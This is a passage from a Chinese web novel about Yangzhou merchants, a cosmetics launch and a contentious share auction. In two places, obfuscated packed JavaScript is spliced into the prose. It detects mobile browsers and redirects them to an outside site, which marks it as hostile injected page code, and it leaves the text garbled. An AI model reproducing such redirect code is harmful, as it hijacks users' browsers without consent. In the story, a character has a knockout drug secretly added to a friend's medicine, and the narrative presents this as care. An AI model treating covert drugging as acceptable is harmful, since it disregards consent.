他眯眼叹道：“那些胭脂，往日在颜茗那不过卖三五贯钱，今日摆得跟珠宝似的，我瞧着都心动，啧！哪天，我丝韵轩也得弄一场发布会，学学这派头！” 泉韵茶坊的杨哲庸低着头，手中“宣传册”翻得窸窣作响。那“宣传册”的封面用杭绸包边，写着“颜玉庄 ? 花想容”几个大字，字迹遒劲。 他抚须夸赞：“这名字好，‘花想容’，听着就雅，就连这个圆点也点得好，怎么看怎么有韵味！”说着，他瞟了众人一眼，“颜茗跟我说过，他这方子是唐朝华清宫的太监传下来的。嘿，听着玄乎，真假却不知了。” “真假值当什么？” 玉瓷轩的梁厚抿了口酒，“五十两一盒，买是胭脂？买的是杨贵妃的梦。” 他慢悠悠放下盏，方脸带笑：“那些官夫人、官小姐，听了这名字，看了这什么‘广告’，听说这是华清宫的古方，想着涂了就能成杨贵妃，倾城倾国，闭月羞花，五十两？值当！” 话音未落，杨哲庸一拍桌案，震得蟹壳跳：“哎呀呀！我怎的没想到！” “老杨，你咋了？” 顾万芝问他。 杨哲庸眼缝透着精光：“嘿！赶明儿，我也出个新茶，叫‘陆羽回甘’，就说是茶圣陆羽亲传的炒茶方子！” 众人笑他痴，他也不恼，朗声道：“笑啥？我怎么就痴了？我也开发布会，我也卖入场券，现场制茶，再雇几个美人来奉茶……你们可别学我啊！”他端起酒盏，咕咚喝了一大口，脸涨得通红。 众人哄笑，唯有釉彩阁的余兴宽不住摇头：“早知不卖那入场券，白生生错过这盛况！” 梁厚笑着扯开话题，“老杨，你先得找到关氏那样的绝色。”他斜靠椅背上，语气不掩饰的艳羡：“今日那妖妇试妆，啧啧，绿眸配蔷薇色，像西域来的仙子，谁看了不心动？可惜啊，试完妆就离场了。” 杨哲庸打趣他：“都怪你，眼定定盯她看，害明大人吃醋了！”又叹道：“哎，这妖妇有点手段，连新科状元都被她迷得三魂五道！” 漕帮老大郑昌融哼了一声，“咚”地撂下酒盏。 “那妖妇跟明大人的事，” 他瞪着顾万芝：“是你漏风声给老蒲的？” 顾万芝笑呵呵，毫不在意，探身给郑昌融添酒。 “别气，别气，就算我不说，老蒲那人精迟早也知道，卖个顺水人情算了。” 郑昌融鼻子里哼气：“人家攀上明大人，立马把罗翁撬走，往后，直接跟苏州绮绣坊买绸缎，把你踢开，我看你哭都找不着地儿！” 他一口酒灌下去，杯底磕桌上，砰的一声。 顾万芝还是笑：“不至于，不至于。咱大宁的绸缎，海外抢着要，和气生财嘛，犯不上撕破脸。” 他顿了顿，眼神一转，扫过众人：“诸位，咱不如说说，明天的‘股权认购会’，怎么打算？” …… 申时，暮光斜照扬州城南。 颜玉庄的“新品发布会”成功落幕。 会场里，绸缎架子还没拆。 绯红绡纱让风一吹，漾啊漾，仿佛胭脂化在水里。 方靖立在廊下，指挥几个小厮：“哎！左边再高半寸，对，对！就这样……” 嗓子不亮，条理却清楚。 赵斐和明桂枝捧着账册，正要往账房走。 “啊——嚏！” 冷风一吹，明桂枝打了个喷嚏，紧接着连咳好几声，咳得肩胛骨不住耸动。 “仲安兄，允书，我……咳，咳！”话没说完又咳：“我回客栈歇歇。”拱手的姿势有些晃，斜阳从她背后漏过来，把她的影子拉得细长，像一枝单薄的柳条，摇摇欲坠。 赵斐停下脚步，皱着眉看“他”走远。咳嗽声不停钻进他耳朵，像针扎了一下又一下。晌午那会儿，“他”虚得脸色发白，还强撑着站在台上，给众人讲‘花想容’的来历，嗓子哑得几乎听不清。想着，他不由得胸口一紧。 那黛色身影扶住门边晃了晃，咳得把五脏六腑都掏出来。 “咳，咳，不妨事。” 明桂枝朝身后摆了摆手。话说得轻巧，可“他”脊背一耸一耸。 像只折翅的灰雀。 “哐当！” 两个仆役抬着檀木桌，一下撞上门框。 赵斐浑身一激灵，账册边角叫他攥出深深指印。 方靖不知何时凑过来，拍拍他肩，叹了口气：“允书，你去瞧瞧吧，他还病着呢，也不知会不会半路晕倒……”他拍拍自己心口，“这儿有我，放心。“” 话没听完，赵斐已抓着披风往外走。 城南人影幢幢，那抹黛色越来越淡，一下融进人群里。 赵斐眉头皱得紧。 明桂枝的咳嗽声在耳边回荡。 像催他快些。 再快些。 直到出了城南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346334|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市集，追到瘦西湖畔，才又见着那抹若隐若现的黛色。 “昆玉！” 他喊得急切，尾音却被风吹散。 幸好“他”听到了。 “允书，你怎的追来了？”明桂枝停住等他，衣襟被风吹得微动。 待他走进，又问：“咳，你找我有事？” 赵斐没答话，抖开手里的披风，披在明桂枝肩上。 披风厚实，带着檀香味，暖意透过衣襟渗进来，驱散了湖边的凉。 他手指不小心碰到“他”肩，僵了一下，他想赶紧收回，却迷恋“他”的体温。 “怎的不坐马车？” 语气里夹着责备，眼神却软得像湖水，泛着微光，映照她身影。 明桂枝裹紧披风：“也没多远，小半刻钟的脚程，”笑了笑，像在哄他：“走走好，活血。” 话音未落又咳。 两人并肩走，脚步声交错，沙沙的，轻得像呼吸。 赵斐侧头瞥她，暮色漫在她眼窝里，眼下青影浓得像墨，衬得她脸色苍白似雪。 他想问她病得怎么样了，话到嘴边却咽回去。 怕唐突。 怕打破宁静。 怕浪费久违的独处。 只有他们二人的时刻，最近少得可怜。 仿佛他是从那妖妇手上偷来的，从“他”繁杂事物里抢来的。 “明日的股权认购会，” 明桂枝先打破宁静，她咳了一声，气息有点乱:“我尽量出席，但万一……” “无妨，我替你看着，”赵斐打断道：“你最好别去，留在客栈好好休息。” “我一手策划的，可以的话，还是想亲自到场。” 赵斐长长叹气。 他真想拿绳索把“他”缚住，绑在床上逼“他”休息。 不，该如他梦里那样，锁在地窖深深处…… 给“他”下蒙汗药，强制“他”休息个十天八天，直到伤寒痊愈。 “咳，咳……你觉得‘股权认购’这想法如何？” 明桂枝问他。 咳声伴随风声。 “好，简直妙绝！” 赵斐发自内心赞叹：“把颜玉庄拆成绸缎、瓷器、珠宝三份，招各路龙头竞标认购。众人齐心，颜玉庄才能做成大宁顶尖的字号。” 他语气带赞，尾音却沉下去，眼神复杂，像藏着话。 明桂枝闻言一笑，一张嘴咳了几声，气息有点乱。 暮色照亮她的脸，苍白得像纸，神色却坚定。 “借力打力，奢侈品要成，非一家之力可为……”她声音轻快，像在说笑，眼里却掩不住疲惫：“五十两的胭脂，得配上好绸缎、顶级瓷器，再点缀珠宝，才能配得上杨贵妃的名头。” 赵斐脚步慢下来，袍袖被风吹得鼓起。 “不如全卖了。” “什么？” “你该把颜玉庄全卖了。杭州市舶司的账，大理寺和太府寺都盯着……”他没说完，喉咙涩得咽住，喘不过气。 “那一成股权，是给倩娘留的。” 明桂枝答得笃定。 赵斐胸口像被锤子砸了一下。 他知道。 他当然知道。 明昆玉从来不是以权谋私的人。 “他”的破例，每一桩都是为那妖妇。 “若哪天我爹的事有了定夺……” 明桂枝话说了一半又吞回去。 赵斐侧首看她，心跳漏了一拍。 他当然知道昆玉没说出口的话。 明世礼的案子，像把刀悬在明家头顶，随时会掉下来。 抄家灭族的阴影，其实一直压得“他”喘不过气。 湖风吹过，柳丝扫他脸上，冷得刺骨。 赵斐暗暗叹了口气，扯出一个笑：“那我呢，你留了什么给我？” 他故意让语气轻快些。 话里带着几分玩笑，几分真。 明桂枝一愣，在袖笼暗层摸索好一会儿。半晌，掏出个物件，拉过赵斐的手一放：“你别说，我昨个儿在古玩店挑了样玩意儿，一忙起来，忘了给你。” 赵斐低头细看，掌心里躺着枚金子打的书签，刻着细碎的桂花。 精致得把秋夜的香气都錾进去。 他心跳一下子快了几分。 这样式，和他当年悄悄夹在“他”《论灵魂》大食原典的那枚，几乎一样。 仿佛有冥冥天意。 赵斐满心雀跃。 可话到嘴边，竟又变成：“只得我有？还是那妖妇也有？” 只得你有。 明桂枝差点脱口而出。 她想回应赵斐坦荡赤诚的好感。 但是…… 如果…… 万一…… 这一刻，她无比痛恨自己的胆怯。 她不想对他撒谎。 却也不敢吐露心声。 “咳 ，咳……” 她咳了几声，模棱两可问道：“如果倩娘也有，你是不是就不要了？” “我要！” 赵斐把那枚书签紧紧收进怀里。 “他”特意买的也好。 顺道买的也罢。 就算“他”是路上捡来的都无妨。 给了他，就是他的。 …… 戌时，邗江锦阁。 雅间里，茶气袅袅。 罗绍啜了口茶，笑了笑，口吻如随口聊家常。 “蒲老弟，说老实话，这颜玉庄的股权，老朽没多大兴趣，认购个千把两，图个热闹，权当给明大人捧场。” 他停了停，声音压低：“不过，明大人今日提及的‘成衣制作’，我很看好。”他举杯朝蒲承泽一敬，“蒲老弟，你是明大人亲眷，这事若有门道，牵个线？” 蒲承泽朗声一笑：“罗翁放心！关氏是我亲外甥女，亲得很！这事包我身上！”他举盏碰杯，一口饮尽。 窗外雨声细了，柳条晃。 檐下灯笼亮起一瞬，像在偷听二人的谋算。 两人还在谈，门“吱呀”一声被推开。 赵斐挟着夜风进来。 他径自往主位一坐：“本官有桩生意，”声音不高，却字字分明：“要与两位商谈。” …… 45.纷争 栖云雅阁，天字二号房。 亥时，微雨。 赵斐面前摊着明桂枝的札记。 炭笔字用刀刻一般，比毛笔字硬气。他手指头在纸上划过，墨灰沾污指腹。 是用硬笔写就的缘故吧？“他”这字，比从前更见筋骨。 不时地，赵斐还是会怀念“他”那逸趣霭然的书法。 但这炭笔字横是横，竖是竖，像匠人描花样，看惯了，也别有味道。 烛影在墙上跳动。 赵斐又翻到一页，上头画着“花想容”的“商标”。是一个简笔画就的杨贵妃，脸庞圆圆的，梳着唐朝的堕马髻，眉目含情。 旁边还标着古怪的符号。 ①、②、③…… 好似道士画的符。 他认得圈圈里头是大食的数字，可为什么要画圈？ 等等！ “他”惯用大食数字了？ 是因为那妖妇吗？ 窗外，雨点细碎。 赵斐望着瘦西湖的夜雨色，叹了口气。 罢了，如今不是吃醋的时候。 “吱嘎——” 门轴轻响。 侍墨端药进来，黑褐药汁在碗里晃荡。 “准备好了？” 赵斐问他。 “回大人，”侍墨恭敬答：“已按吩咐，放了酸枣仁等安神药材。” “嗯，”赵斐埋首札记，断然道：“再加一剂蒙汗药。” 侍墨手一抖：“这，明大人若晓得了……” “他知晓了的话，我担着。” 侍墨点点头，推门出去。 门合上的刹那，雨声钻进来，仿佛密密轻叹。 …… 次日辰时，城南。 颜玉庄后院。 雨刚歇，地面还汪着水，映出门前乱纷纷的人影。 昨日的绸缎架子拆了一些，只留下东侧那排绯红色的。 风一吹，绸子就活了，一浪一浪地翻。 墙上新钉了檀木牌子，明大人亲笔题的“花想容”三字，黑墨发亮。 旁边还附了幅杨贵妃的简笔小画。 画中人珠圆玉润、明眸皓齿，堕马髻塌到腮边，既慵懒又华贵。 云绡阁的卢景愉和梁厚并肩走过。 他拿手肘捅捅梁厚：“哎，老梁，我想了一整宿……你瞧，这颜玉庄配货的章程：在他这儿定制一件绸衫，得搭三百两的胭脂、首饰才有名额？这不是明摆着赶客么？” 他有一堂寿眉，说话时长长眉毛跟着颤。 梁厚捋捋胡子，笑得淡：“前天那五十两的入场券，你掏钱时可没眨眼呢，‘奢侈品’嘛，讲的就是这么个派头，大家都觉得它不值当，它就值当了，懂么？” “话虽如此……” “你还真别觉得不值，人家蒲大官人可是花了二千两，才换得入场资格。” “他那二千两，是认了明大人这门亲，值当得不得了！” “眼红了？你也去认门亲呗。”梁厚朝他挤了挤眼。 卢景愉一撅嘴：“你这话说的，我和他非亲非故的……” 梁厚轻声讪笑：“谁还没个如花似玉的侄女、外甥女呢，是吧？” 还未待卢景愉回神，便笑着走远了…… 那边厢，蒲承泽摇着扇子晃来，嘟囔了几句大食话，见到来人，立即换成扬州腔。 “郑爷，今个儿的船期，您可得让着小弟三分哪！” 郑昌融大嗓门一哼：“听说你是那关氏的‘舅舅’？我得求你让着才对！” “嘿，您说我这外甥女唷！”蒲承泽巴不得到城门上贴告示认亲，亮了两嗓子，高声大笑。 “哈，我老叮嘱她低调行事，你说，我这做舅舅的嘛，也没成想攀权富贵的，就只盼我这外甥女过得好。她倒好，那条嫁妆项链，我之前惯戴的那条……” 他手放脖子上比了比，“传家宝呀，我娘死前叮嘱我，说一定要找到我这外甥女，传给她！这不，前天才传了到她手上，昨个儿就当众戴上了，唉！” 郑昌融皮笑肉不笑地“嗯”了一声。 蒲承泽爱看他吃瘪，凑上前继续说：“你知道的，我这人嘛，平日里最最谦逊、最最内敛了！我是千万个不乐意她这样的，我可不想大伙儿因我是明大人的舅丈人，就高看我、奉承我，你们可万万不能这般哦！” 说着，拍了拍郑昌融肩膀：“老蒲我，向来是脚踏实地做人的，对吧？” “啊对对对……” 郑昌融深吸一口气，才能压下翻白眼的冲动。 “你蒲大官人最最谦虚、最最内敛了，脚踏实地做人，全扬州城都晓得。” …… 商贾们陆续落座。 微风和煦，茶气袅袅，绯绸徐徐摇曳。 绸缎商这围人特别多，早早坐满了，还加塞了两座位。 其中一座是碧蚕庄的姚仲德。 他个子矮，一身灰绸，钻进座椅十足灰鼠入笼，眼珠却亮得发光，透着精明，叫人不敢小觑。 他端茶抿一口，叹道：“明大人这颜玉庄，真是大手笔！五十两的胭脂不过是敲门砖，后头绸缎、瓷器、珠宝三件套，啧啧，真是，叹为观止，叹为观止！” 他说话时总咂嘴，仿佛在品茶，嘴一咧，大板牙露出，更像老鼠了。 顾万芝笑呵呵接话：“可不是，昨儿那场面，我这老江湖眼睛都直了。往后，让那些官夫人、官小姐们瞧着，怕是魂儿都丢了。名头打响，这颜玉庄的绸缎、珠宝、脂粉扬名海外，番邦人都抢着买，咱这行当，越来越有了盼头！” 瓷器商那桌人不多不少，刚好十人一桌。 静釉坊的卫松庭向来务实，蓝布长衫洗得发白。 他慢腾腾扯起话头：“明大人的眼光毒，这路子若成了，咱大宁货能跟波斯毯、暹罗宝石掰腕子，利不小。” 余兴宽手里的“认股计划书”翻来翻去，边角都毛了。 他低声对杨哲庸说：“老杨，‘花想容’这顶级胭脂，还得配我釉彩阁白瓷，那才叫相得益彰，你说对吧？” 杨哲庸朝对面的梁厚一瞄，压低声：“你的瓷器是好，但争得过梁厚那老狐狸？” “总要试试。”余兴宽皱眉：“颜玉庄要成大宁顶尖牌子，衣服、器皿、首饰都有那什么线，哦，‘品牌线’！以后，海内、海外商路一开，利翻倍不止，心动，心动啊！” “可惜我茶行没份，不然也掺一脚。”杨哲庸苦笑。 余兴宽拍他肩：“你那‘陆羽回甘’呢？能搭上颜玉庄，未必没戏。” …… 风吹过，竹叶与绯绸喃喃低语。 也似在议论这股权买卖。 卢景愉细阅认购细则:“……原东家颜茗持四成干股，前提为颜茗兼任颜玉庄‘技术顾问’，对颜玉庄‘化妆品’质量问题负全责。四成干股享受利润分红，但不得转售。若颜茗辞去‘技术顾问’，十年内不得于从事与‘化妆品’有关的行当，此乃‘竞业协议’。” 长眉下，卢景愉眸光炯炯：“绝，这法子绝！” 姚仲德问他：“绝在哪里？” “这颜玉庄的典故承传自颜茗祖上，还有，他那死活不换方子的倔劲儿，都是颜玉庄的金漆招牌。给他四成的利钱，不比他苦苦经营好多了？如此一来，他就永远不会有二心，但凡事还怕万一……”他手指在“竞业协议”四字点了点，“这四成是干股，他不能卖，而且还有‘竞业协议’，彻底防住他另起炉灶的心思！” 姚仲德颔首称是。 卢景愉又叹：“你再看这里：颜玉庄其余六成实股拆开认购，除关氏持股一成，其余分：绸缎行业二成，瓷器二成，珠宝一成……这三类货品，全是讲究稀缺、珍奇之物，亦即明大人所谓的‘奢侈品’，三者相辅相成，这大宁的顶级‘奢侈品’，指日可待呀！” 姚仲眼珠子一溜，“若是，能把关氏那一成的股权也包全了……”他咂咂嘴，仿佛已尝到甜头。 “你想得美，”卢景愉点醒他：“若不是为了关氏，明大人未必兑颜玉庄这铺子。” “也不知道这姓关的妖妇有什么手段，倪家二郎纨绔一个，着她的道就罢了，可明大人这样聪睿机敏的，竟也被她迷住……” “情人眼里出西施，况且关氏实在绝色。” “可她那性子也太泼了点，”姚仲德又“啧”了一声：“昨日那发布会上，一言不合就冷言相对，连赵大人的面子也拂，啧啧啧！” 卢景愉一笑：“说不准明大人就爱泼辣的？” “男人哪有不爱温柔小意的……呀，我晓得了！” “你晓得什么？” “他不是爱辣的……”姚仲德抬高眉毛，低声呼道：“他爱的是那种雪肤碧眼的番妇！” “那又如何？”卢景愉瞥他一眼：“你也有大食的外甥女？” “哎呀，我怎就不能有呢？巧了不是？我还真有，大食的、罗刹的都有，蓝眼睛、高鼻子，还金发的呢！” “呀，那我等你好消息。” …… 伙计陆续添茶，并奉来点心。 言谈间，有人话里有话。 顾万芝转向罗绍环，笑呵呵问：“罗翁，您是绸缎行泰斗，这两成股份，您怎么看？” 罗绍环白发瘦脸，着的墨绿长袍。 他面无表情，只淡淡道：“老夫年岁大了，如此大事，还是留给你们年轻人吧。” 卢景愉插话：“罗翁谦虚，您绮绣坊的融光缎谁人不知？您要是出手，我们这桌的都只能作您陪衬？” 他紧紧盯着罗绍环看，似要找出端倪。 “听说……”姚仲德笑得狡：“绮绣坊新弄了一款月光缎，银光闪闪的，若搭上颜玉庄的名号，那还不大杀四方？罗翁，您真舍得放手？” 罗绍环眼皮抬抬，没吭声。 …… 风顿住了。 绯绸静止摇曳，如红色幕布。 仆役高喊“赵大人到——” 声音拖得老长，似足扬州评话里的叫板，一下传遍院子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357917|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 满院商贾顿时活泛起来，起身抖衣袍、理袖子，拍着衣袍上并不存在的灰，而后你推我搡往外涌，迎在了院子入口处。 蒲承泽站在人群里，折扇抖开半幅。他瞥了郑昌融一眼。郑昌融黑壮的身子往那儿一杵，如庙里的一尊金刚。 两人目光一碰，郑昌融嘴角微扬，露出一丝不咸不谈的笑。蒲承泽的扇子“啪”地合上了，也回了个笑。 赵斐一身青袍官服走来，腰间悬着太府寺的鱼符，一晃一晃，却更衬得他气势沉稳，步履从容。 方靖跟在他后头，穿一袭宝蓝圆领袍，步子轻快，掀过一阵风，衣角翻飞。 商贾们伸长了脖子，左顾右盼，偏不见明桂枝。 “明大人呢？” “状元郎怎的不来？” “难不成这认购会不开了？” “似了，谁舍得这到手的肥肉，大约是逗我们玩儿呢！” 众人窃窃私语。 纷纷话音里，赵斐已经走到东侧的主席台前。 这主席台是临时搭的，就是把账房里的榆木书案抬了出来，裹了层绛红色的绸子。 风一过，那绸子便簌簌地抖。 台面上还摆着铜锣，旁边放了两杯茶盏。 众人陆续回到席里。 大家目光都聚到这主席台。 有人撇嘴：“搭得寒碜了些，衬不上明大人的派头。” 也有人点头：“还挺别致，这绛红刺眼，倒把目光都引过去了。” …… 赵斐站定拱手。 “诸位，明大人染恙，今日由赵某代劳。” 声音不疾不徐，似寒山寺的晨钟。 威严，但听着舒坦。 片刻，台下一阵骚动。 有人压低嗓子嘀咕：“明大人不来，这认购会还有啥看头？” “确实，少了明大人那点金手，没看头，没看头……” 也有人担忧：“这颜玉庄的股权是在明大人手里，这赵大人拍案的事，衙门能认么？” “有道理，有道理，得三思，三思！” …… 但赵斐冷咳一声，眼角一扫，众人竟立刻噤了声。 他这才接着道：“明大人既托付于我，必不叫诸位失望。”话说得沉稳，似块压舱石，将乱晃的船镇住。 底下的人虽静了，却还有几双眼睛盯着他，掂量他这话的斤两。 …… 竞标开始了。 赵斐“咣”地一敲铜锣，震得他身后的绯绸都抖了抖。 他沉声道：“绸缎庄二成股份，起价五千两，每回喊价一百两。” 话音刚落，顾万芝率先举牌，声音慢悠悠却掷地有声：“五千一百两！”微胖的身子裹在锦袍里，笑得像个老狐狸。 卢景愉长脖子一抻，喊道：“五千五百两！”长眉一挑，眼光直直看向顾万芝，十足挑衅。 姚仲德也不甘示弱，大喊：“五千六百两！”他个子矮，嗓门却大，眼露精光，活像鹞鹰盯上黄雀。 场子里顿时开了锅。 你加一百，我添两百。 甚至，有人一喊就是五百两。 喊价码的节奏划龙舟，一桨比一桨更快。 顾万芝喊得浑身冒汗，腋下全是汗渍。却偏偏，手里的喊价牌子举得稳稳当当。 “八千两五百两！” 众人一时被唬住。 “想清楚啊，诸位！” 顾万芝环顾四周，一字一顿道：“再加，就不值当了！” “就加，我偏就加！”姚仲德大吼一声：“老子今天陪你玩命了，亏钱我也加！” 这两人本就有旧怨。 话说三年前，他们同时相中徐州一处养桑的沃土。顾万芝使了些巧劲买下那块地，也借机扩展了丝韵轩产生丝的规模，抢了姚仲德不少客源。 姚仲德自然忿忿不平，从此两人结下梁子。 有道是：往日有仇，今日有怨。 姚仲德心里早憋着一团火，眼下见顾万芝频频加价，再也压不住怒气。 他冷笑一声：“顾万芝，你那点家底也配？趁早滚回乡下织粗布吧！” “啪”！ 继而一摔茶盏，瓷片四溅。 “哎，你这人……狗咬吕洞宾，不识好人心！”顾万芝也来了气，朝他竖眉瞪眼：“我好心好意劝你三思，你还气上了？你自个好好算算账，掂量掂量清楚，你那破落铺子，卖了也不值当八千五百两！” “今个儿，你姚爷爷我就算卖了铺子，我也要跟你顶价！” “疯子，你个疯子！” “八千六百两！” 姚仲德一拍席案：“爷我志在必得！” “哎呀呀，你才加一百两，摆什么阔？简直寒酸！” 顾万芝嗤笑一声：“你顾爷我今天让你开开眼，瞧瞧什么是阔气！” 他大喊：“九千两！还有谁跟？” 满院霎时人声鼎沸。 门外，城南的叫卖声都被比了下去。 …… 46.三倍 “九千一百两！” 姚仲德脸涨成猪肝色，喊得声音都破了。 满院子人声骤歇。 静得能听见风擦过，听见绯绸簌簌。 “一万两！” 顾万芝把投标木牌一举。 人群轰地炸开锅。 “一万五千两！” 欢呼声、拍手声扯天，声浪震破城南的天。 顾万芝搓着木牌笑：“老姚，别说卖田卖地了，你就算卖了你家祖坟、卖了你自己，也凑不齐这个数吧？” “你管我！”姚仲德想掷杯，一提手发现杯盏已被他摔过了，干脆拿起邻座卢景愉的杯一扔，碎得哐当响。“那你呢？”他梗着脖子吼顾万芝：“你就能真金白银拿一万两出来？” “我！” 顾万芝一时窒住。 他其实也只是为争口气。 八千五百两，已是他能拿出的所有银两了，就这，还要卖掉两块盐渎的良田才凑得够。 但他岂能此时此刻认输？ “我家底厚！” “你家底厚，我家底难道就薄?” 众人这才品出二人斗气胡闹，纷纷笑话、叹气。 ——“哎，我说，” 瓷器商的那桌，愣生生冒出个凉意的嗓音：“姚仲德，你碧蚕庄的绸子，我去年购过一批……” 大伙儿循声看去，原是梁厚发声。 姚仲德听得出言者不善，尖声问道：“碧蚕庄的绸子，怎么你了？” 梁厚拿盖碗刮茶沫，“同一匹布，前十尺薄得能透光，后二十尺却密得风都透不过……” 他朝姚仲德揶揄冷嘲：“你家的绸缎织厚薄不一，还来抢股权？别往后丢了颜玉庄的名声哟！” 说着，又朝顾万芝抬眉一笑：“依梁某看，顾兄的丝韵轩才当得扬州第一字号。” “咳！咳咳！” 未待顾万芝客气回应，同桌的卫松庭突然咳嗽，咳得又重又急，把梁厚的话音都盖住。 “老卫，你风寒这般严重，去看大夫嘛，” 梁厚睨他一眼，嫌弃地掩住口鼻：“别过了寒气给咱哥几个哈，你静釉坊门庭冷落，哥们几个可还有不少单子要赶哪！” “梁厚！”卫松庭一下止了咳，冷笑道：“我不是风寒，我是笑得咽了喉咙！” “失心疯！” 梁厚眉角蹙了下，端起茶盏，嗤笑一声移开目光。 卫松庭指着他道：“你玉瓷轩烧釉，不也是一处厚，一处薄的？”他啐了口茶沫子，“我呸，笑人家碧蚕庄的绸子厚薄不一，你也配？” “你！”梁厚转头瞪他，茶盏“哐”一声重重搁下，“你别信口雌黄啊！” “哟！哟哟哟……” 倒是顾万芝眯着眼笑了。 他慢条斯理地捋袖子：“卫东家，您这是……证实碧蚕庄的绸子厚薄不一？” “哎！老顾！” 梁厚一拍桌案瞪他：“我方才可是帮你说话的啊！” 顾万芝不承他的情：“你和静釉坊的宿怨，可别扯上我。” 卫松庭一下悟过来：他方才的话，把姚仲德也得罪了。 嘴角一咧，便捧茶朝姚仲德一敬。 “姚倌，卫某并非顾东家那个意思，我是说梁厚这厮……” 他转头，一个眼神狠狠刮梁厚：“金玉其外，败絮其中！” “卫松庭，” 梁厚还是冷笑：“什么‘金玉其外’，谁‘败絮其中’？你不妨把话说清楚点。” “说的就是你！” 卫松庭也回他一个嘲意满满的撇嘴：“梁厚，‘性情凉薄’的‘梁’，‘厚颜无耻’的‘厚’！” “卫松庭，我知道你怨我什么，”梁厚啜了一口热茶，不咸不淡道：“五年前，静釉坊烧了一堆青瓷废瓷，瓷色和我玉瓷轩的凝碧青瓷有几分相似，‘凝碧青瓷’入了贡品名录，所以你份外不忿，对不对？” “你！你颠倒黑白！” “颠倒黑白的是你，你自己技不如人，怎么怨到我头上了？” “梁厚！”咬牙切齿挤出两个字，手气得直抖：“你偷我釉方，才有你玉瓷轩的那破青瓷！” “荒谬！” “你那‘凝碧青瓷’，分明是我‘翠霞云’的变种！你还卖通我店的伙计，坏我釉色！如今还口出狂言，恬不知耻！” “哎哟，好笑了！” 梁厚呵呵笑出声音：“我偷你釉方？胡说八道！我的‘凝碧青瓷’是独门秘方！你那静釉坊的瓷，件件烧出来都跟鸡屎鸭粪一个色，我偷它作甚？你那方子白送都没人要！” 卫松庭抄起手边茶壶，往梁厚的方向一掷。 梁厚眼尖，一个闪身避开了。 茶壶“咚”声砸地，壶嘴“咔嚓”断成半截，洒湿一地。 梁厚拂了拂被茶水溅湿的衣襟，嘴角轻勾，满含讥诮。 “哎，卫松庭！你说不过我，就动粗了是不是？在桌诸位都是斯文人，你失礼不失礼啊？别搁这儿丢人现眼的，丢咱瓷器行当的份儿！” “梁厚！” 卫松庭竖起三根手指，指向天：“我敢对天发誓，你敢不敢？” “无稽！” “敢不敢？” 卫松庭怒目瞪他，眼中的火光烈得要把梁厚给熔了。 “对天发誓，说你没偷过我‘翠霞云’方子，否则天打雷劈，倾家荡产，不得好死！” “我没你这般发癫！” 两人你一言我一语，声音越来越大。 绸缎行的、瓷器行的、珠宝行的，都抻长了脖子往他们那儿瞧。 有人端着茶碗忘了喝，有人捏着瓜子忘了嗑。 主席台上，赵斐嘴角一翘，也仿佛在看好戏。 “这火，烧得真旺。” 卢景愉眯着眼，低声对身旁的罗绍环道。 罗绍环只点了点头，没吭声。 风一吹，绯绸又晃起来，影子投在卫、梁二人脸上，像抽了他们一记耳光。 …… “咣！咣——咣！” 铜锣三声响，震得满院子人声戛然而止。 敲锣人是赵斐。 此刻，他目光扫过满场，如鹰掠野，锐利逼人。 “诸位！” 他开口，声音沉稳，压住细碎杂音。 “股权认股会才三刻钟，你们倒好，两桩私怨闹上了台。” 说着，赵斐把锣槌往案上一搁，“尔等，是来做买卖的，还是来吵架、寻衅滋事的？” 商贾们皆愣住。 顾万芝低头抹汗，偷瞥姚仲德一眼。 姚仲德喘气，眼珠滴溜转，矮身缩回椅上，脸又重新红了几分。 梁厚松拳，脸一下子沉下来。 卫松庭气音哼一声，端起茶盏猛喝。 旁的人，有的叹气，有的摇头。 茶炉上，茶水烧开，茗香飘散，竟有些微苦。 罗绍环起身拱手：“赵大人说得是，我等失礼了。” 风又大了些。 似要把众人的躁郁一点点吹散。 顾万芝掏出手帕，印了印汗：“瞧这天气，闷了半宿不出雨，火气都上来了。” 姚仲德撇撇嘴，不情不愿“嗯”了一声。 梁厚朝赵斐看了看，忽然扯出几分笑，对卫松庭道：“我家的‘凝碧青瓷’……确实与你的‘翠霞云’有几分相似。” 卫松庭瞥见赵斐神色稍虞，只得见好就收。 “青瓷嘛，不是青色，就是翠色，大差不差。” “此事，就此抹过了？”梁厚举起茶盏，朝卫松庭一伸。 “好。” 卫松庭勉强一笑，与他碰杯。 赵斐似乎早料到这情景一般，慢条斯理整了整衣襟，不慌不忙抬手。 动作从容，似招呼仆役撤换茶盏。 待手落下，眼神已然变了。 他抬眼环视，目光如刀、似剑。 将满院嘈杂生生劈开。 眼神里分明写着：胡闹之事，到此为止。 “诸位，”他开口，声音不紧不慢，“今日共聚一堂的，全皆是扬州的老商号，难免有些许陈年旧事，但出了扬州，谁分得清哪匹布是丝韵轩的，那匹布是碧蚕庄的？” 顾万芝摇扇子的手停住，姚仲德也是一怔。 “每年各地贡到宫里的奇珍异宝多不胜数，‘凝碧青瓷’与‘翠霞云’，哪个更青一些，哪个更翠几分，宫里的贵人又是不是真能品得出来？” 梁厚骤然止住笑，卫松庭亦细叹一口气。 “你们的货品，但凡出了扬州，就是‘扬州货’，出了江浙，就是‘江浙’货，哪天若贩到倭国、交趾、吕宋，甚至大食、波斯、罗莎，那就是‘大宁货’。” 话说到一半，他顿住，手按在案上的“认购书”上，有一下、没一下敲着封面。 “你们，是一荣俱荣，一损俱损的。” 这话，一字一顿，掷地有声。 